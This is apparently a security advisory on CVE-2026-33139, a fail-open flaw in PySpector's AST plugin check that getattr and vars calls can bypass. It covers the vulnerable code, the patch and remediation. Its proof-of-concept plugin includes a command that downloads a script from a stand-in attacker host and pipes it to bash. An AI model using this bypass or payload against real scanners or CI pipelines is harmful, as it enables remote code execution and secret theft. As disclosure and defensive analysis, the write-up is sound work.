Apr 16, 2026·5 min read·2 visits
A fail-open logic flaw in PySpector's AST-based security scanner allows malicious plugins to execute arbitrary code. Attackers can bypass the blocked function list by wrapping dangerous API calls in dynamically resolved functions like getattr.
PySpector versions 0.1.6 and earlier contain a critical vulnerability in the plugin security validation system. An incomplete Abstract Syntax Tree (AST) analysis allows attackers to bypass the restrictive sandbox using indirect function calls. Successful exploitation leads to unauthenticated arbitrary code execution on the system running the static analysis scanner.
PySpector is a static analysis security testing (SAST) framework that supports custom plugins to extend its analysis capabilities. To prevent malicious plugins from executing harmful operations during the scan process, PySpector implements a security sandbox. This sandbox parses the plugin source code into an Abstract Syntax Tree (AST) and validates the tree against a predefined list of disallowed function calls.
The security validation mechanism heavily relies on the PluginSecurity.validate_plugin_code function, which iterates through the AST nodes to detect restricted APIs such as os.system and subprocess.Popen. This static analysis approach assumes that all function calls can be deterministically resolved to their string representations before execution.
Vulnerability CVE-2026-33139 is a critical failure within this AST resolution logic. The static analyzer fails to correctly identify callables that are returned by other functions. This oversight enables an attacker to construct nested function calls that evade the blocklist, resulting in arbitrary code execution on the machine evaluating the malicious plugin.
The vulnerability originates in the resolve_name() helper function located in plugin_system.py. This function is responsible for analyzing an ast.Call node and returning the string representation of the underlying callable. The security scanner relies entirely on this string output to verify if the function exists in the DANGEROUS_CALLS blocklist.
In PySpector version 0.1.6 and prior, resolve_name() implements logic exclusively for ast.Name nodes (direct function calls like eval()) and ast.Attribute nodes (module function calls like os.system()). The function does not contain logic to handle ast.Call nodes. When a Python script executes a function that returns another function, the resulting AST represents the outer callable as an ast.Call node.
When resolve_name() encounters this unhandled ast.Call node type, it returns None. The calling validation routine interprets None as a safe, non-blocklisted function and allows the execution to proceed. This fail-open condition permits attackers to obfuscate dangerous function calls using dynamic attribute resolution techniques.
The addition of Python built-ins like getattr and vars compounds the issue. Because these built-ins were omitted from the DANGEROUS_CALLS list, they provide standard, unblocked primitives for constructing dynamic function references that bypass static string matching.
The vulnerable implementation of resolve_name() processes standard function structures but explicitly lacks recursion. The code assumes the target of a call is always a statically defined name or attribute.
# Vulnerable resolve_name implementation
def resolve_name(node: ast.AST) -> Optional[str]:
if isinstance(node, ast.Name):
return node.id
if isinstance(node, ast.Attribute):
# Resolves module.attribute logic omitted for brevity
pass
# Missing ast.Call handling returns None
return NoneThe official patch in version 0.1.7 introduces recursive traversal for ast.Call nodes. By recursively calling resolve_name on node.func, the analyzer effectively steps through nested calls until it identifies the base function name. This ensures that dynamically resolved callables are evaluated against the blocklist.
# Patch snippet resolving the fail-open logic
if isinstance(node, ast.Call):
inner = resolve_name(node.func)
if inner:
return innerAdditionally, the patch expands the DANGEROUS_CALLS array to include vars and getattr. This secondary defense layer prevents attackers from dynamically resolving attributes from imported modules, mitigating similar bypass techniques even if the AST parser were to fail again.
Exploitation requires the victim to install a malicious plugin using the PySpector CLI command pyspector plugin install --trust <path>. The attacker must distribute this plugin and convince a developer or security engineer to integrate it into their analysis pipeline.
The core exploitation technique relies on bypassing the static analysis check using Python's getattr built-in function. The attacker crafts a plugin that imports the os module and dynamically retrieves the system function reference. This reference is then immediately executed with the attacker's payload.
import os
from pyspector.plugins import PySpectorPlugin
class MaliciousPlugin(PySpectorPlugin):
def initialize(self, config):
getattr(os, 'system')('curl http://attacker.com/shell | bash')
return TrueAn alternative exploitation vector utilizes the vars() built-in. By accessing the __dict__ attribute of a module via vars(), the attacker can retrieve dangerous functions using dictionary key lookups. The invocation vars(os)['system']('whoami') produces an AST structure that similarly bypasses the legacy resolve_name() implementation.
Successful exploitation grants the attacker arbitrary code execution privileges matching the user context of the PySpector process. Because PySpector is typically executed by developers or integrated into Continuous Integration (CI) pipelines, the resulting access is highly privileged.
Compromising a CI/CD environment allows attackers to extract sensitive secrets, modify build artifacts, or pivot into internal networks. The execution occurs silently during the plugin initialization or finding processing phases, providing no immediate indication of compromise to the operator.
The vulnerability holds a CVSS 3.1 score of 7.8 (High) and a CVSS 4.0 score of 8.3 (High). The severity is driven by the total loss of confidentiality, integrity, and availability on the affected system, constrained only by the local attack vector requirement that a user must actively install the plugin.
The primary remediation strategy is upgrading PySpector to version 0.1.7 or later. This release addresses the AST parsing logic and implements a more comprehensive blocklist. Upgrading ensures that all locally installed and newly fetched plugins are subjected to rigorous structural analysis.
Organizations unable to immediately upgrade must manually review the source code of any third-party PySpector plugins before installation. Security teams should look for instances of dynamic attribute resolution, specifically focusing on getattr, vars, eval, and exec usage within the plugin lifecycle hooks.
Version 0.1.7 also includes a secondary security fix addressing a command injection vector in the CLI. The patch enforces strict hostname whitelisting for the --url parameter during git clone operations. Users should verify that automated scripts invoking the PySpector CLI are compatible with this new domain restriction.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
PySpector ParzivalHack | <= 0.1.6 | 0.1.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-184 / CWE-693 |
| Attack Vector | Local (via malicious plugin) |
| CVSS v3.1 | 7.8 |
| EPSS Score | 0.00023 |
| Impact | Arbitrary Code Execution |
| Exploit Status | Proof of Concept Available |
The software fails to completely define or maintain the set of disallowed inputs, allowing an attacker to bypass protection mechanisms.